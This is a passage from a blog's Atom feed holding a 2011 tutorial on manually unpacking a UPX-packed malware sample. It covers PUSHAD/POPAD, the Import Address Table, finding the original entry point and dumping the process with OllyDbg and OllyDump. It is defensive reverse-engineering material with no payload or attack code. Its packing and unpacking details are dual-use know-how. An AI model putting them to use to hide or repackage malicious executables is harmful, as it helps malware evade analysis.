class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;a href="http://2.bp.blogspot.com/-VPQKIhEPNRo/TjhxLP5IqVI/AAAAAAAAAsE/PJI3GpAeN5Y/s1600/xpelister-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="406" src="http://2.bp.blogspot.com/-VPQKIhEPNRo/TjhxLP5IqVI/AAAAAAAAAsE/PJI3GpAeN5Y/s640/xpelister-1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;This is the reason that when will try to open a packed exe in a disassembler such as IDA, it will throw an error, basically cos right now, it can't differentiate between code and data.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;a href="http://2.bp.blogspot.com/-cv-bRszjrDc/TjhxR3sfasI/AAAAAAAAAsI/F2Ey0DqD0V0/s1600/ida-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="274" src="http://2.bp.blogspot.com/-cv-bRszjrDc/TjhxR3sfasI/AAAAAAAAAsI/F2Ey0DqD0V0/s640/ida-1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;IDA will still load the packed exe. If we look at the program in text view, we will find IDA automatically identifies &amp;amp; marks UPX sections appropriately.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;a href="http://4.bp.blogspot.com/-DDP1ZiRtSIw/TjhxWzzYgEI/AAAAAAAAAsM/YKrGdGHpNfI/s1600/ida-3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="388" src="http://4.bp.blogspot.com/-DDP1ZiRtSIw/TjhxWzzYgEI/AAAAAAAAAsM/YKrGdGHpNfI/s640/ida-3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important;"&gt;UPX0 is uninitalized space in the start. At runtime, the stub in UPX1 will decompress the packed code to the UPX0. After this, a Jump is made to the start of UPX0, where now the original program resides. At this point, the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/X86_assembly_language#Using_the_instruction_pointer_register"&gt;EIP [ Instruction pointer ]&lt;/a&gt;&amp;nbsp;points to the first instruction of the unpacked program.&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; font-weight: normal; text-align: center;"&gt;&lt;b&gt;&lt;a href="http://4.bp.blogspot.com/-KaSskqGf_LQ/Tjhxa9bgN0I/AAAAAAAAAsQ/mZvVIfk2_2o/s1600/upx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://4.bp.blogspot.com/-KaSskqGf_LQ/Tjhxa9bgN0I/AAAAAAAAAsQ/mZvVIfk2_2o/s640/upx.png" width="640" /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: normal; text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important; font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;div style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Image credits to&lt;/b&gt;&amp;nbsp;"&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://www.amazon.com/Rootkit-Arsenal-Escape-Evasion-Corners/dp/1598220616"&gt;The Rootkit Arsenal&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: #333333; text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;PUSHAD&lt;/b&gt;&amp;nbsp;pushes contents of all the registers on to the stack.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;POPAD&lt;/b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&amp;nbsp;pops out the contents from the stack back into the registers.&lt;/span&gt;&lt;br /&gt;&lt;b&gt;JMP&lt;/b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&amp;nbsp;takes the instruction pointer to the start of unpacked code.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: #333333; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Portable_Executable#Import_Table"&gt;&lt;b&gt;Import Address Table (IAT)&lt;/b&gt;&lt;/a&gt;&amp;nbsp;-&amp;gt; Simply put, a program has dependencies on&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Dynamic-link_library"&gt;dynamic link libraries [ DLLs ]&lt;/a&gt;&amp;nbsp;and loads the required DLLs at runtime. The memory locations of these DLLs are dynamic. Therefore, it is not feasible to hard-code memory address of functions in these DLLs, into the program. Import Address Table comes to the rescue. IAT is a table of pointers to functions in the required DLLs. So, whenever a compiled program has to access a specific function, it can do so by making a CALL to the appropriate IAT record. Packers generally damage / modify the original IAT of the packed program so the incorrectly dumped program code fails to run. This basically means, a packer modifies the IAT by defining afresh which dlls and functions need to be loaded and how &amp;amp; where to put the pointers in order to ensure normal run of the original program, post unpacking.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The IAT is accessed by a &lt;u&gt;&lt;b&gt;CALL[&amp;lt;address_to_pointer&amp;gt;]&lt;/b&gt;&lt;/u&gt; instruction.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Okay, let's roll up our sleeves and start with dumping the unpacked code directly from the memory.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Fire up OllyDbg and load the packed exe. Do not press the 'Play' button. Observe that when we loaded the packed exe into Olly, it has halted at the address&amp;nbsp;&lt;b&gt;00408760 - PUSHAD&lt;/b&gt;&amp;nbsp;instruction. This is program entry point [ look at the bottom, message bar in Olly ]. We already know that UPX1 constitutes of the unpacking routine and the packed program code. So, &lt;u&gt;this address 00408760 seems to be the start address of unpacking routine.&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Note this address down somewhere.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman';"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now Check the Memory Map by clicking on the 'M' button in the menu bar. Memory Map is simply a mapping between a loaded executable / library and the memory regions. You will find section UPX0 starts at address 00401000, and UPX1 from address 00407000.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is how it flows. Starting from PUSHAD at 00408760, the unpacking routine runs and unpacks the program code. In addition to this, the Import Address Table is fixed so the original unpacked program code may run good.&amp;nbsp;&lt;u&gt;CALL DWORD PTR DS:[ESI+8094]&lt;/u&gt;&amp;nbsp;in the figure below is referring to the Import Address Table.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; font-weight: normal; text-align: center;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://2.bp.blogspot.com/-TcymJiC15o8/TjhxnyInMAI/AAAAAAAAAsU/pYmdOQoP-eU/s1600/jmp-3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://2.bp.blogspot.com/-TcymJiC15o8/TjhxnyInMAI/AAAAAAAAAsU/pYmdOQoP-eU/s640/jmp-3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important; font-weight: normal;"&gt;&lt;div style="display: inline !important;"&gt;&lt;div style="display: inline !important; font-family: 'Times New Roman';"&gt;&lt;div style="display: inline !important; font-family: 'Times New Roman';"&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;When the unpacking code run is finished, and IAT is fixed, POPAD instruction pushes out the contents of registers present on stack, which was initially put by PUSHAD, back into the registers. Finally a JMP is made to the freshly, unpacked code. In our case, as per screen above, JMP happens at address&amp;nbsp;&lt;b&gt;004088AF&lt;/b&gt;&amp;nbsp;---&amp;gt; JMP fid.004011CB.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="font-family: 'Times New Roman'; font-weight: normal; text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;004011CB&lt;/b&gt;&amp;nbsp;must be the address where the unpacked code starts.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Go to this address using Ctl+G.Once at this address, we will use a plugin for OllyDbg -&amp;nbsp;&lt;a href="http://www.openrce.org/downloads/browse/OllyDbg_Plugins"&gt;OllyDump&lt;/a&gt;&amp;nbsp;- to dump the code. Go to Plugins menu -&amp;gt; OllyDump -&amp;gt; Dump debugged process.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;&lt;a href="http://3.bp.blogspot.com/-rLiecZ2Q09U/Tjhx05Wu0vI/AAAAAAAAAsY/yuUylsBQTaQ/s1600/jmp-6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="234" src="http://3.bp.blogspot.com/-rLiecZ2Q09U/Tjhx05Wu0vI/AAAAAAAAAsY/yuUylsBQTaQ/s640/jmp-6.JPG" width="640" /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;OllyDump identifies the start address, entry point and show UPX section info automatically. Now we need to modify the entry point. Remember, you noted the Program Entry Point 00408760 earlier. The actual unpacked code starts at 004011CB. So,&amp;nbsp;&lt;u&gt;we will modify the entry point to 004011CB&lt;/u&gt;. Dump the code now, and we save it as&amp;nbsp;fid_unpacked.exe.&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;&lt;a href="http://3.bp.blogspot.com/-6DhocW-Ysc8/Tjhx6PP6MGI/AAAAAAAAAsc/vXKThG9lrbw/s1600/jmp-7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="248" src="http://3.bp.blogspot.com/-6DhocW-Ysc8/Tjhx6PP6MGI/AAAAAAAAAsc/vXKThG9lrbw/s640/jmp-7.JPG" width="640" /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;div style="display: inline !important; text-align: justify;"&gt;&lt;div style="display: inline !important; font-weight: normal;"&gt;&lt;div style="display: inline !important; font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;div style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's confirm if the exe we've just dumped is indeed unpacked.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div&gt;&lt;div style="font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-weight: normal; text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Open PEiD and load the new dumped exe into it. As you will see, the EntryPoint is 11CB now, which look correct, and packer info tells us it is Microsoft Visual C++ 8.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-weight: normal; text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; font-weight: normal; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; font-weight: normal; text-align: center;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://3.bp.blogspot.com/-lv9IIz3Xqm4/TjhyC9c4EjI/AAAAAAAAAsk/gcZQCxnOkXY/s1600/peid-final.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="370" src="http://3.bp.blogspot.com/-lv9IIz3Xqm4/TjhyC9c4EjI/AAAAAAAAAsk/gcZQCxnOkXY/s640/peid-final.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-weight: normal; text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Cool! We were able to manually unpack the specimen. Now that we have the unpacked specimen, we can perform code analysis using techniques shared in&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html"&gt;Code Analysis&lt;/a&gt;&amp;nbsp;post.&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;#####&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;########################################&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;#####&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;div&gt;&lt;div style="font-weight: normal;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you have any questions or feedback, do post a comment below.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Thanks.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-4642007020694903010?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/4642007020694903010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/analyzing-malware-manually-unpacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4642007020694903010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4642007020694903010'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/analyzing-malware-manually-unpacking.html' title='Analyzing Malware - Manually unpacking the specimen'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-VPQKIhEPNRo/TjhxLP5IqVI/AAAAAAAAAsE/PJI3GpAeN5Y/s72-c/xpelister-1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-3977704858164616959</id><published>2011-08-01T02:04:00.002+05:30</published><updated>2011-08-03T03:49:59.650+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Patching malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Reverse Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='IDA Pro'/><category scheme='http://www.blogger.com/atom/ns#' term='Dissecting malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Ollydbg'/><title type='text'>Analyzing Malware - Patching in the way!</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is in continuation to my previous posts on reverse engineering malware. Therefore, I would strongly recommend that you go through the posts &lt;a 